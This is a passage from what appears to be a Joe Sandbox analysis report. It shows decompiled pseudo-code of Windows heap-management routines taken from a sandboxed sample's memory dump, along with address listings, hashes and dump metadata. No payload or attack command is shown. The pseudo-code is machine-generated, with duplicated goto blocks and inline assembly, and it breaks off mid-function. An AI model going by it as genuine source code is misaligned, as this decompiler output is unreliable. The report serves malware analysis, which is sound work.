								_push( *0x34d7446c);
								_t268 = E34D49682( *0x34d74468);
								__eflags = _t437 -  *_t268;
								if(_t437 ==  *_t268) {
									goto L16;
								}
								__eflags = _t434;
								if(_t434 == 0) {
									L145:
									_v124 = _v124 - (_v120 & 0x0000ffff);
									__eflags = _v116;
									if(_v116 != 0) {
										_t435 = _v112;
										E34CAB870(_t339, _t437, 0, _v112);
										_t264 = E34D2D130(_t437, _v108, _v112, _t339, _v120, _v116);
										_t339 = _v116;
										_t386 = _t437;
										E34D278DE(_v116, _t437, _t264, 6, _t435);
									}
									goto L147;
								}
								_t339 = _v108;
								__eflags = _t339 & 0x10000000;
								if((_t339 & 0x10000000) != 0) {
									L17:
									if(_t434 == 0) {
										goto L145;
									} else {
										_t386 = _v116;
										_t229 = _t434;
										if(_v116 != 0) {
											_t266 = E34D2D130(_t437, _t339, _t434, _t339, _v120, _t386);
											_t386 = _t437;
											_v128 = _t266;
											E34D278DE(_v116, _t437, _t266, 6, _t434);
											_t229 = _v128;
										}
										goto L19;
									}
								}
								E34D3E8B1(_t437, _v112);
								_t386 = _t434;
								E34D3DF93(_t437, _t434);
							}
							L16:
							_t339 = _v108;
							goto L17;
						}
						if((_t339 & 0x00000007) == 0) {
							__eflags =  *((char*)(_t339 - 1)) - 5;
							_t432 = _t339 - 8;
							if( *((char*)(_t339 - 1)) == 5) {
								_t432 = _t432 - (( *(_t432 + 6) & 0x000000ff) << 3);
								__eflags = _t432;
							}
							__eflags =  *(_t432 + 7) & 0x0000003f;
							if(( *(_t432 + 7) & 0x0000003f) != 0) {
								goto L13;
							} else {
								_push(0);
								_push(0);
								_push(0);
								_push(_t432);
								_t385 = 8;
								goto L11;
							}
						} else {
							_push(0);
							_push(0);
							_push(0);
							_push(_t339);
							_t385 = 9;
							L11:
							_t386 = _t437;
							E34D45FED(_t385, _t437);
							_t432 = 0;
							goto L12;
						}
					}
					_t386 =  *(_t437 + 0xdc);
					_t334 =  *(_t437 + 0xdc);
					if(_t334 != 0) {
						L51:
						_t428 = _v124;
						__eflags = _v124 - _t334;
						if(__eflags <= 0) {
							goto L8;
						}
						_t335 =  *(_t437 + 0xe0);
						__eflags = _t335;
						if(_t335 != 0) {
							_t386 = _t437;
							_t339 = 0x14;
							E34D45FED(0x14, _t437, 0, _t335, _t428, _t437);
						}
						goto L147;
					}
					_t334 =  *0x34d74334; // 0x0
					if(_t334 != 0) {
						goto L51;
					}
					goto L8;
				}
			}

0x34c92760
0x34c92763
0x34c92772
0x34c92776
0x34c92782
0x34c92789
0x34c9278b
0x34c9278e
0x34c92791
0x34c92794
0x34c92797
0x34c9279a
0x34c927a1
0x34c927a9
0x34c927ac
0x34c927b1
0x34ce61eb
0x34ce61fa
0x34ce67f4
0x34ce67f4
0x34c9287e
0x34c92881
0x34c92884
0x34c92890
0x34c92890
0x34c927be
0x34ce6209
0x34ce620b
0x34ce6211
0x34ce6214
0x34ce6216
0x34ce6218
0x34ce621f
0x34ce6222
0x34ce6224
0x34ce6224
0x34ce6227
0x34ce6227
0x34ce6222
0x34ce622a
0x34ce6231
0x34ce6234
0x34ce6236
0x34ce623f
0x34ce623f
0x34ce6238
0x34ce6238
0x34ce623b
0x34ce623b
0x34ce6241
0x34ce6244
0x34ce6247
0x34ce624a
0x34ce624d
0x34ce630a
0x34ce630c
0x34ce630f
0x34ce6311
0x00000000
0x00000000
0x34ce6317
0x34ce631a
0x00000000
0x34ce6320
0x34ce6320
0x34ce6327
0x34ce632a
0x34ce632c
0x34ce6330
0x34ce6333
0x34ce6336
0x34ce6338
0x34ce6338
0x34ce633a
0x34ce633a
0x34ce633d
0x34ce6340
0x34ce6342
0x34ce6344
0x34ce6344
0x00000000
0x34ce6342
0x34ce6253
0x34ce6253
0x34ce6253
0x34ce6255
0x34ce6264
0x34ce6269
0x34ce6269
0x34ce6272
0x34ce6275
0x34ce6278
0x34ce627e
0x34ce6283
0x34ce6287
0x34ce628a
0x34ce6292
0x34ce6295
0x34ce629b
0x34ce62a1
0x34ce62a2
0x34ce62a9
0x34ce62b0
0x34ce62b7
0x34ce62be
0x34ce62c3
0x34ce62c3
0x34ce62c6
0x34ce62c8
0x34ce62cd
0x34ce62cf
0x34ce62d2
0x34ce62d8
0x34ce62da
0x34ce62e4
0x34ce62e9
0x34ce62ee
0x34ce62f3
0x34ce62f3
0x34ce62da
0x00000000
0x34ce62d2
0x34ce628c
0x34ce6290
0x00000000
0x00000000
0x00000000
0x34ce6290
0x34ce624d
0x34c927c6
0x34ce634b
0x34ce634b
0x34c927ce
0x34ce6358
0x34ce6358
0x34c927de
0x34c927e1
0x34ce6366
0x00000000
0x34c927e7
0x34c927ee
0x34c9280d
0x34c92811
0x34ce639f
0x34ce63a8
0x34c92831
0x34c92831
0x34c92834
0x34c92836
0x34ce63af
0x34ce67a4
0x34ce67b2
0x34ce67b8
0x34ce67bd
0x34ce67c1
0x34ce67c4
0x34ce67c9
0x34ce67cf
0x34ce67d0
0x34ce67d3
0x34ce67da
0x34ce67e1
0x34ce67e8
0x34ce67ef
0x34ce67ef
0x00000000
0x34ce67c4
0x34c92840
0x34ce63b9
0x34ce63bd
0x34ce63d7
0x34ce63db
0x34ce6400
0x34ce6400
0x34ce6404
0x34ce642d
0x34ce6431
0x34ce6442
0x34ce6433
0x34ce6433
0x34ce6435
0x34ce6438
0x34ce643a
0x34ce643a
0x34ce643a
0x34ce643d
0x34ce643d
0x34ce6406
0x34ce640f
0x34ce6415
0x34ce6418
0x34ce6423
0x34ce6423
0x34ce6425
0x34ce641a
0x34ce641a
0x34ce641a
0x34ce6427
0x34ce6427
0x34ce6445
0x34ce644c
0x34ce644f
0x34ce6452
0x34ce6479
0x34ce6454
0x34ce6454
0x34ce6458
0x34ce6469
0x34ce645a
0x34ce645a
0x34ce645c
0x34ce645f
0x34ce6461
0x34ce6461
0x34ce6461
0x34ce6464
0x34ce6464
0x34ce6474
0x34ce6474
0x34ce6483
0x34ce6485
0x34ce64b0
0x34ce64b0
0x34ce64ba
0x34ce64bd
0x00000000
0x00000000
0x34ce64c3
0x34ce64c6
0x34ce64c8
0x34ce64da
0x34ce64dc
0x34ce64ef
0x34ce64ef
0x34ce64de
0x34ce64e7
0x34ce64ea
0x34ce64ea
0x34ce64ca
0x34ce64d2
0x34ce64d5
0x34ce64d5
0x34ce64f1
0x34ce64f4
0x34ce64fa
0x34ce64fd
0x34ce6500
0x34ce6503
0x34ce6506
0x34ce6509
0x34ce679f
0x34ce679f
0x00000000
0x34ce650f
0x34ce650f
0x34ce6512
0x34ce6514
0x34ce6524
0x34ce6524
0x34ce6516
0x34ce651f
0x34ce651f
0x34ce652d
0x34ce6530
0x34ce6532
0x34ce6537
0x34ce6539
0x34ce6545
0x34ce6548
0x34ce654b
0x34ce65dc
0x34ce65df
0x34ce65ed
0x34ce65f0
0x34ce6603
0x34ce6605
0x34ce660f
0x34ce6611
0x34ce663a
0x34ce663e
0x34ce664f
0x34ce6640
0x34ce6640
0x34ce6642
0x34ce6645
0x34ce6647
0x34ce6647
0x34ce6647
0x34ce664a
0x34ce664a
0x34ce6613
0x34ce661c
0x34ce6622
0x34ce6625
0x34ce6630
0x34ce6630
0x34ce6632
0x34ce6627
0x34ce6627
0x34ce6627
0x34ce6634
0x34ce6634
0x34ce6658
0x34ce6607
0x34ce660a
0x34ce660a
0x34ce65f2
0x34ce65f8
0x34ce65f8
0x34ce65e1
0x34ce65e9
0x34ce65e9
0x34ce665c
0x34ce665f
0x34ce6662
0x34ce6664
0x34ce6690
0x34ce6694
0x34ce66a5
0x34ce6696
0x34ce6696
0x34ce6698
0x34ce669b
0x34ce669d
0x34ce669d
0x34ce669d
0x34ce66a0
0x34ce66a0
0x34ce6666
0x34ce666f
0x34ce6675
0x34ce6678
0x34ce6683
0x34ce6683
0x34ce6685
0x34ce667a
0x34ce667a
0x34ce667a
0x34ce6687
0x34ce668b
0x34ce668b
0x34ce66a8
0x34ce66ab
0x34ce66ae
0x34ce66b1
0x34ce66c3
0x34ce66cf
0x34ce66cf
0x34ce66d1
0x34ce66b3
0x34ce66bb
0x34ce66bb
0x34ce6551
0x34ce6554
0x34ce6557
0x34ce6559
0x34ce655b
0x34ce6563
0x34ce6568
0x34ce6568
0x34ce656b
0x34ce656f
0x34ce6574
0x34ce6578
0x34ce6584
0x34ce6589
0x34ce658b
0x34ce658d
0x34ce6592
0x34ce6592
0x34ce6597
0x34ce6597
0x34ce659d
0x34ce65a1
0x34ce65a4
0x34ce65a8
0x34ce65ab
0x34ce65b7
0x34ce65bd
0x34ce65bd
0x34ce65bd
0x34ce65c2
0x34ce65c4
0x34ce65c6
0x34ce65cc
0x34ce65d2
0x34ce65d2
0x34ce65c6
0x34ce66d4
0x34ce66d4
0x34ce66d7
0x00000000
0x34ce653b
0x34ce653b
0x00000000
0x34ce653b
0x34ce6539
0x34ce6487
0x34ce6487
0x34ce6487
0x34ce648b
0x34ce6491
0x34ce6493
0x34ce6498
0x34ce649d
0x34ce64a1
0x34ce64ad
0x00000000
0x34ce64ad
0x34ce64a3
0x00000000
0x34ce64a3
0x34ce6485
0x34ce63e2
0x34ce63f5
0x34ce63f7
0x34ce63fa
0x00000000
0x00000000
0x00000000
0x34ce63fa
0x34ce63c3
0x34ce63c8
0x34ce63cb
0x34ce63ce
0x34ce63d0
0x00000000
0x00000000
0x00000000
0x34ce63d2
0x34c92846
0x34c9284d
0x34c92857
0x34c92859
0x34c92860
0x34ce66df
0x34ce66e1
0x00000000
0x00000000
0x34ce66e7
0x34ce66ee
0x34ce66f2
0x00000000
0x00000000
0x34ce66f8
0x34ce6704
0x34ce6709
0x34ce670b
0x00000000
0x00000000
0x34ce6711
0x34ce6713
0x34ce6764
0x34ce676a
0x34ce676d
0x34ce6771
0x34ce6773
0x34ce677a
0x34ce678c
0x34ce6791
0x34ce6794
0x34ce679a
0x34ce679a
0x00000000
0x34ce6771
0x34ce6715
0x34ce6718
0x34ce671e
0x34c92869
0x34c9286b
0x00000000
0x34c92871
0x34c92871
0x34c92874
0x34c92878
0x34ce6746
0x34ce674e
0x34ce6754
0x34ce6757
0x34ce675c
0x34ce675c
0x00000000
0x34c92878
0x34c9286b
0x34ce6729
0x34ce672e
0x34ce6732
0x34ce6732
0x34c92866
0x34c92866
0x00000000
0x34c92866
0x34c9281a
0x34c92893
0x34c92897
0x34c9289a
0x34c928a3
0x34c928a3
0x34c928a3
0x34c928a5
0x34c928a9
0x00000000
0x34c928ab
0x34c928ab
0x34c928ad
0x34c928af
0x34c928b1
0x34c928b2
0x00000000
0x34c928b2
0x34c9281c
0x34c9281c
0x34c9281e
0x34c92820
0x34c92822
0x34c92823
0x34c92828
0x34c92828
0x34c9282a
0x34c9282f
0x00000000
0x34c9282f
0x34c9281a
0x34c927f0
0x34c927f6
0x34c927fa
0x34ce6370
0x34ce6370
0x34ce6373
0x34ce6375
0x00000000
0x00000000
0x34ce637b
0x34ce6381
0x34ce6383
0x34ce638e
0x34ce6390
0x34ce6395
0x34ce6395
0x00000000
0x34ce6383
0x34c92800
0x34c92807
0x00000000
0x00000000
0x00000000
0x34c92807

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ee8cf0277ea1896f0c34ba1ecb4172edef59b9baa959951fa76904a2644a4
Instruction ID: e8a3fe4e7a6f82ab45be6ecb70a8ab152dad7d96f08248ba80861c4dfbac4fe7
Opcode Fuzzy Hash: 892ee8cf0277ea1896f0c34ba1ecb4172edef59b9baa959951fa76904a2644a4
Instruction Fuzzy Hash: 0932DB74B20754CFEB14CF6AC8507BABBF7AF84305FA0451DD4859B6A4DB35A882CB50

Uniqueness

Uniqueness Score: -1.00%

Function 34D4124C Relevance: .6, Instructions: 571
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E34D4124C(signed int* __ecx, char __edx) {
				signed int* _v8;
				signed int _v12;
				signed int _v16;
				signed int* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				signed int* _t202;
				signed int _t204;
				signed int _t206;
				signed int* _t207;
				signed int _t216;
				char* _t218;
				signed int _t219;
				void* _t222;
				signed int** _t228;
				signed int _t233;
				signed int _t241;
				void* _t242;
				signed int** _t248;
				signed int _t255;
				signed int _t259;
				signed int _t261;
				signed int _t263;
				signed int _t278;
				void* _t281;
				unsigned int* _t283;
				intOrPtr _t291;
				signed int _t292;
				char* _t312;
				signed int* _t317;
				signed int _t318;
				intOrPtr* _t319;
				signed int _t323;
				signed int _t324;
				signed int _t325;
				signed int _t326;
				signed int _t331;
				void* _t348;
				void* _t356;
				signed int _t360;
				signed int _t376;
				signed int _t404;
				signed int _t405;
				void* _t406;
				signed char _t407;
				signed int _t408;
				signed int* _t409;
				signed char _t411;
				signed int* _t412;
				signed int _t416;
				signed char _t418;
				signed int* _t421;
				signed int* _t430;
				signed int _t444;
				signed int _t445;
				signed int _t447;
				signed int _t448;
				signed int _t449;
				signed int _t450;
				signed int* _t451;
				intOrPtr* _t452;
				signed int* _t453;
				signed int _t454;
				signed int _t455;
				signed char* _t459;
				void* _t460;
				void* _t462;
				signed int* _t463;
				void* _t484;

				_t317 = __ecx;
				_v40 = __edx;
				_v8 = __ecx;
				while(1) {
					L1:
					_t3 =  &(_t317[1]); // 0x34d74804
					_t202 = _t3;
					goto L2;
					do {
						while(1) {
							L2:
							_t404 =  *_t202;
							_v12 = _t404;
							if(_t404 == 0) {
								goto L31;
							} else {
								_v24 = _v24 & 0x00000000;
								_t283 = _t404 + 0x10;
								_v20 = _t283;
								_t336 =  *_t317;
								_t454 =  *( *_t317 + 0xc);
								_v32 = _t454;
								if( *_t283 >> 0x10 < 0) {
									_t11 =  &(_t317[0x17]); // 0x0
									_t448 =  *_t11 & 0x0000ffff;
									_t336 = 1;
									_v24 = 1;
									if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
										_t336 = _t454;
										if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
											_t336 = 1;
											 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
											if(E34C93C40() == 0) {
												_t312 = 0x7ffe0380;
											} else {
												_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											}
											if( *_t312 != 0) {
												_t336 = 1;
												if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
													_t336 =  *(_t454 + 0xc);
													E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
												}
											}
										}
										_t404 = _v12;
									}
								}
								asm("sbb eax, eax");
								_t445 = 0;
								_v28 = 0;
							}
							do {
								L14:
								_t455 =  *(_t404 + 0x10);
								if((_t455 >> 0x00000010 & 0x00008000) != 0) {
									goto L17;
								}
								if(_t455 == 0) {
									L26:
									_t406 = 0;
									L27:
									if(_v24 != 0) {
										_t291 =  *0x34d74364; // 0x1
										_t60 = _t291 + 1; // 0x2
										_t484 = _t60 -  *0x34d74360; // 0x10
										if(_t484 < 0) {
											asm("lock cmpxchg [esi], ecx");
										}
									}
									if(_t406 != 0) {
										L131:
										return _t406;
									} else {
										goto L31;
									}
								}
								_t336 = _t455 | 0x80000000;
								asm("lock cmpxchg [ebx], ecx");
								_t317 = _v8;
								if(_t455 == _t455) {
									L19:
									if(_t455 == 0xffffffff) {
										goto L26;
									}
									_t292 =  *((intOrPtr*)(_t404 + 4));
									_v16 = _t292;
									if(_t292 == 0 ||  *_t404 != _t317 || _t455 == 0) {
										 *_v20 = _t455;
										goto L26;
									} else {
										_t45 =  &(_t317[0x17]); // 0x0
										_t46 = ( *_t45 & 0x0000ffff) + 0x34c5bf30; // 0x20202020
										_t447 = E34CD7A51(_v16 + 0x14,  *((E34CD7AF9(_t336) & 0x0000ffff) + 0x34d74200) & 0x000000ff,  *_t46 & 0x000000ff);
										_t457 = _v16;
										 *_v20 = (_t455 & 0x0000ffff) - 0x00000001 | _t447 << 0x00000010;
										_t406 = (( *(_v16 + 0x10) ^  *0x34d76964 ^ _v16 ^ _v32) & 0x0000ffff) + (( *(_v16 + 0x10) ^  *0x34d76964 ^ _v16 ^ _v32) >> 0x10) * _t447 + _t457;
										if(( *(_t406 + 7) & 0x0000003f) != 0) {
											_push(0);
											_push(0);
											_push(0);
											_push(_t406);
											_t348 = 0xf;
											E34D45FED(_t348,  *((intOrPtr*)( *( *_t317 + 0xc) + 0xc)));
											_t406 = 0;
										}
										goto L27;
									}
								}
								L17:
								_t445 = _t445 + 1;
							} while (_t445 <= _v28);
							_t455 = _t455 | 0xffffffff;
							goto L19;
							L31:
							_v28 =  *_t317;
							_t64 =  &(_t317[2]); // 0x34d74808
							_t204 = _t64;
							_v16 = _t204;
							while(1) {
								_t444 = 0;
								while(1) {
									L33:
									_t318 = 0;
									_v20 = 0x10;
									_v24 = _v24 & 0;
									_t331 = _t204;
									_v12 = _t331;
									do {
										L34:
										_t405 =  *_t331;
										_t451 = _v8;
										_v32 = _t405;
										if(_t405 != 0) {
											_t206 =  *(_t405 + 0x10) & 0x0000ffff;
											_v36 = _t206;
											if(_t206 > _v24) {
												_t281 = E34CBBF0C(_t451, _t405);
												_t331 = _v12;
												if(_t281 == 0) {
													_t318 = _t331;
													_t444 = _v32;
													_v24 = _v36;
												}
											}
										}
										_t331 = _t331 + 4;
										_t79 =  &_v20;
										 *_t79 = _v20 - 1;
										_v12 = _t331;
									} while ( *_t79 != 0);
									_v24 = _t444;
									if(_t318 == 0) {
										_t444 = 0;
										L55:
										if(_t444 == 0) {
											_t207 = _v8;
											_t452 = 0;
											_t111 = _t207 + 0x5c; // 0x0
											_t211 =  *((intOrPtr*)( *((intOrPtr*)(_v28 + 0xc)) + 0x3c0 + ( *_t111 & 0x0000ffff) * 4)) + 0x48;
											_v16 = 0;
											_v24 = 0;
											_v20 =  *((intOrPtr*)( *((intOrPtr*)(_v28 + 0xc)) + 0x3c0 + ( *_t111 & 0x0000ffff) * 4)) + 0x48;
											while(1) {
												_t319 = E34CAFE50(_t211);
												_v28 = _t319;
												if(_t319 == 0) {
													break;
												}
												_t121 = _t319 - 0x20; // -32
												_t444 = _t121;
												_t122 = _t444 + 0x1c; // -4
												_t421 = _t122;
												if((1 &  *_t421) == 0) {
													_t323 = 0xfffffffd;
													_t255 =  *_t421;
													do {
														asm("lock cmpxchg [edx], ecx");
													} while ((_t255 & _t323) != 0);
													_t324 = _v28;
													if(_t255 != 2) {
														L87:
														_t211 = _v20;
														_t444 = 0;
														continue;
													}
													L86:
													 *_t444 =  *_t444 & 0x00000000;
													E34C920E0( *( *_t444), _t324);
													goto L87;
												}
												if(E34CC2670(_t444, _v8) == 0) {
													_t259 = _v16;
													if(_t259 == 0) {
														_v24 = _t319;
													}
													 *_t319 = _t452;
													_t452 = _t319;
													_v16 = _t259 + 1;
													goto L87;
												}
												_t126 = _t444 + 0x1c; // -4
												_t325 = 0xfffffffd;
												_t261 =  *_t126;
												do {
													asm("lock cmpxchg [edx], ecx");
												} while ((_t261 & _t325) != 0);
												_t324 = _v28;
												if(_t261 == 2) {
													goto L86;
												}
												if(E34C93AF6(_v8, _t444) == 0) {
													goto L87;
												}
												break;
											}
											_t335 = _v16;
											if(_v16 != 0) {
												E34D0E9B0(_v20, _t452, _v24, _t335);
											}
											L70:
											if(_t444 == 0) {
												_t406 = 0;
												goto L131;
											}
											_t453 = _t444 + 0x1c;
											 *((char*)(_t444 + 0x1b)) = _v40;
											while(1) {
												_t317 = _v8;
												_t407 =  *_t453;
												_t136 =  &(_t317[1]); // 0x34d74804
												_t202 = _t136;
												if(_t407 == 0) {
													break;
												}
												_t137 =  &(_t317[1]); // 0x34d74804
												_t202 = _t137;
												if((_t407 & 0x00000006) != 0) {
													while(1) {
														L2:
														_t404 =  *_t202;
														_v12 = _t404;
														if(_t404 == 0) {
															goto L31;
														} else {
															_v24 = _v24 & 0x00000000;
															_t283 = _t404 + 0x10;
															_v20 = _t283;
															_t336 =  *_t317;
															_t454 =  *( *_t317 + 0xc);
															_v32 = _t454;
															if( *_t283 >> 0x10 < 0) {
																_t11 =  &(_t317[0x17]); // 0x0
																_t448 =  *_t11 & 0x0000ffff;
																_t336 = 1;
																_v24 = 1;
																if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																	_t336 = _t454;
																	if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																		_t336 = 1;
																		 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																		if(E34C93C40() == 0) {
																			_t312 = 0x7ffe0380;
																		} else {
																			_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																		}
																		if( *_t312 != 0) {
																			_t336 = 1;
																			if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																				_t336 =  *(_t454 + 0xc);
																				E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																			}
																		}
																	}
																	_t404 = _v12;
																}
															}
															asm("sbb eax, eax");
															_t445 = 0;
															_v28 = 0;
														}
														goto L14;
													}
												}
												asm("lock cmpxchg [esi], ecx");
												if(_t407 != _t407) {
													continue;
												}
												_t216 =  *_t444;
												_v36 = _t216;
												if(_t216 == _t317) {
													L105:
													if(E34C93C40() == 0) {
														_t218 = 0x7ffe0380;
													} else {
														_t218 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
													}
													if( *_t218 != 0 && ( *( *[fs:0x30] + 0x240) & 1) != 0) {
														E34D3F409( *((intOrPtr*)( *( *_t317 + 0xc) + 0xc)),  *((intOrPtr*)(_t444 + 4)));
													}
													_t174 =  &(_t317[1]); // 0x34d74804
													_t202 = _t174;
													_t175 = _t444;
													_t444 =  *_t202;
													 *_t202 = _t175;
													if(_t444 == 0) {
														break;
														do {
															do {
																do {
																	while(1) {
																		L2:
																		_t404 =  *_t202;
																		_v12 = _t404;
																		if(_t404 == 0) {
																			goto L31;
																		} else {
																			_v24 = _v24 & 0x00000000;
																			_t283 = _t404 + 0x10;
																			_v20 = _t283;
																			_t336 =  *_t317;
																			_t454 =  *( *_t317 + 0xc);
																			_v32 = _t454;
																			if( *_t283 >> 0x10 < 0) {
																				_t11 =  &(_t317[0x17]); // 0x0
																				_t448 =  *_t11 & 0x0000ffff;
																				_t336 = 1;
																				_v24 = 1;
																				if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																					_t336 = _t454;
																					if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																						_t336 = 1;
																						 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																						if(E34C93C40() == 0) {
																							_t312 = 0x7ffe0380;
																						} else {
																							_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																						}
																						if( *_t312 != 0) {
																							_t336 = 1;
																							if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																								_t336 =  *(_t454 + 0xc);
																								E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																							}
																						}
																					}
																					_t404 = _v12;
																				}
																			}
																			asm("sbb eax, eax");
																			_t445 = 0;
																			_v28 = 0;
																		}
																		goto L14;
																	}
																	goto L105;
																} while (_t444 == 0);
																goto L112;
																L88:
																_t242 = E34C93AF6(_v36, _t444);
																_t147 =  &(_t317[1]); // 0x34d74804
																_t202 = _t147;
															} while (_t242 == 0);
															while(1) {
																_t418 =  *_t453;
																_t148 =  &(_t317[1]); // 0x34d74804
																_t202 = _t148;
																if(_t418 == 0) {
																	goto L2;
																}
																_t149 =  &(_t317[1]); // 0x34d74804
																_t202 = _t149;
																if((_t418 & 0x00000002) != 0) {
																	while(1) {
																		L2:
																		_t404 =  *_t202;
																		_v12 = _t404;
																		if(_t404 == 0) {
																			goto L31;
																		} else {
																			_v24 = _v24 & 0x00000000;
																			_t283 = _t404 + 0x10;
																			_v20 = _t283;
																			_t336 =  *_t317;
																			_t454 =  *( *_t317 + 0xc);
																			_v32 = _t454;
																			if( *_t283 >> 0x10 < 0) {
																				_t11 =  &(_t317[0x17]); // 0x0
																				_t448 =  *_t11 & 0x0000ffff;
																				_t336 = 1;
																				_v24 = 1;
																				if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																					_t336 = _t454;
																					if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																						_t336 = 1;
																						 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																						if(E34C93C40() == 0) {
																							_t312 = 0x7ffe0380;
																						} else {
																							_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																						}
																						if( *_t312 != 0) {
																							_t336 = 1;
																							if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																								_t336 =  *(_t454 + 0xc);
																								E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																							}
																						}
																					}
																					_t404 = _v12;
																				}
																			}
																			asm("sbb eax, eax");
																			_t445 = 0;
																			_v28 = 0;
																		}
																		goto L14;
																	}
																}
																asm("lock cmpxchg [esi], ecx");
																if(_t418 != _t418) {
																	continue;
																}
																_t376 =  *_t444;
																_t462 = 0;
																_v24 = _t376;
																do {
																	_t248 = _t376 + ((( *(_t376 + 0x5e) & 0x0000ffff) + _t462 & 0x0000000f) + 2) * 4;
																	_t412 =  *_t248;
																	_v28 = _t248;
																	if(_t412 != 0) {
																		if((_t412[7] & 0x00000001) != 0) {
																			goto L99;
																		}
																		asm("lock cmpxchg [ebx], ecx");
																		_t317 = _v8;
																		if(_t412 == _t412) {
																			goto L101;
																		}
																		L98:
																		_t376 = _v24;
																		goto L99;
																	}
																	asm("lock cmpxchg [edx], ecx");
																	_t158 =  &(_t317[1]); // 0x34d74804
																	_t202 = _t158;
																	if(0 == 0) {
																		goto L2;
																	}
																	goto L98;
																	L99:
																	_t462 = _t462 + 1;
																} while (_t462 < 0x10);
																goto L127;
															}
															goto L2;
														} while (_t222 == 0);
														goto L116;
													} else {
														L112:
														_t459 = _t444 + 0x1c;
														_t408 = 0xfffffff9;
														_t219 =  *_t459;
														do {
															asm("lock cmpxchg [esi], ecx");
														} while ((_t219 & _t408) != 0);
														if(_t219 == 6) {
															L79:
															_t356 =  *( *_t444);
															 *_t444 =  *_t444 & 0x00000000;
															L128:
															_t409 = _t444 + 0x20;
															L129:
															E34C920E0(_t356, _t409);
															goto L1;
														}
														L115:
														_t222 = E34C93AF6(_t317, _t444);
														_t177 =  &(_t317[1]); // 0x34d74804
														_t202 = _t177;
														if(_t222 == 0) {
															while(1) {
																L2:
																_t404 =  *_t202;
																_v12 = _t404;
																if(_t404 == 0) {
																	goto L31;
																} else {
																	_v24 = _v24 & 0x00000000;
																	_t283 = _t404 + 0x10;
																	_v20 = _t283;
																	_t336 =  *_t317;
																	_t454 =  *( *_t317 + 0xc);
																	_v32 = _t454;
																	if( *_t283 >> 0x10 < 0) {
																		_t11 =  &(_t317[0x17]); // 0x0
																		_t448 =  *_t11 & 0x0000ffff;
																		_t336 = 1;
																		_v24 = 1;
																		if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																			_t336 = _t454;
																			if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
																				_t336 = 1;
																				 *(_t454 + 0x1bf + _t448 * 4) =  *(_t454 + 0x1bf + _t448 * 4) | 1;
																				if(E34C93C40() == 0) {
																					_t312 = 0x7ffe0380;
																				} else {
																					_t312 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
																				}
																				if( *_t312 != 0) {
																					_t336 = 1;
																					if(( *( *[fs:0x30] + 0x240) & 1) != 0) {
																						_t336 =  *(_t454 + 0xc);
																						E34D3EE78( *(_t454 + 0xc),  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff);
																					}
																				}
																			}
																			_t404 = _v12;
																		}
																	}
																	asm("sbb eax, eax");
																	_t445 = 0;
																	_v28 = 0;
																}
																goto L14;
															}
														} else {
															goto L116;
														}
														while(1) {
															L116:
															_t411 =  *_t459;
															_t178 =  &(_t317[1]); // 0x34d74804
															_t202 = _t178;
															if(_t411 == 0) {
																goto L2;
															}
															_t179 =  &(_t317[1]); // 0x34d74804
															_t202 = _t179;
															if((_t411 & 0x00000002) != 0) {
																while(1) {
																	L2:
																	_t404 =  *_t202;
																	_v12 = _t404;
																	if(_t404 == 0) {
																		goto L31;
																	} else {
																		_v24 = _v24 & 0x00000000;
																		_t283 = _t404 + 0x10;
																		_v20 = _t283;
																		_t336 =  *_t317;
																		_t454 =  *( *_t317 + 0xc);
																		_v32 = _t454;
																		if( *_t283 >> 0x10 < 0) {
																			_t11 =  &(_t317[0x17]); // 0x0
																			_t448 =  *_t11 & 0x0000ffff;
																			_t336 = 1;
																			_v24 = 1;
																			if((1 &  *(_t454 + 0x1bf + _t448 * 4)) == 0) {
																				_t336 = _t454;
																				if(E34C7E202(_t454,  *(_t454 + 0x1be + _t448 * 4) & 0x000000ff) >= 0) {
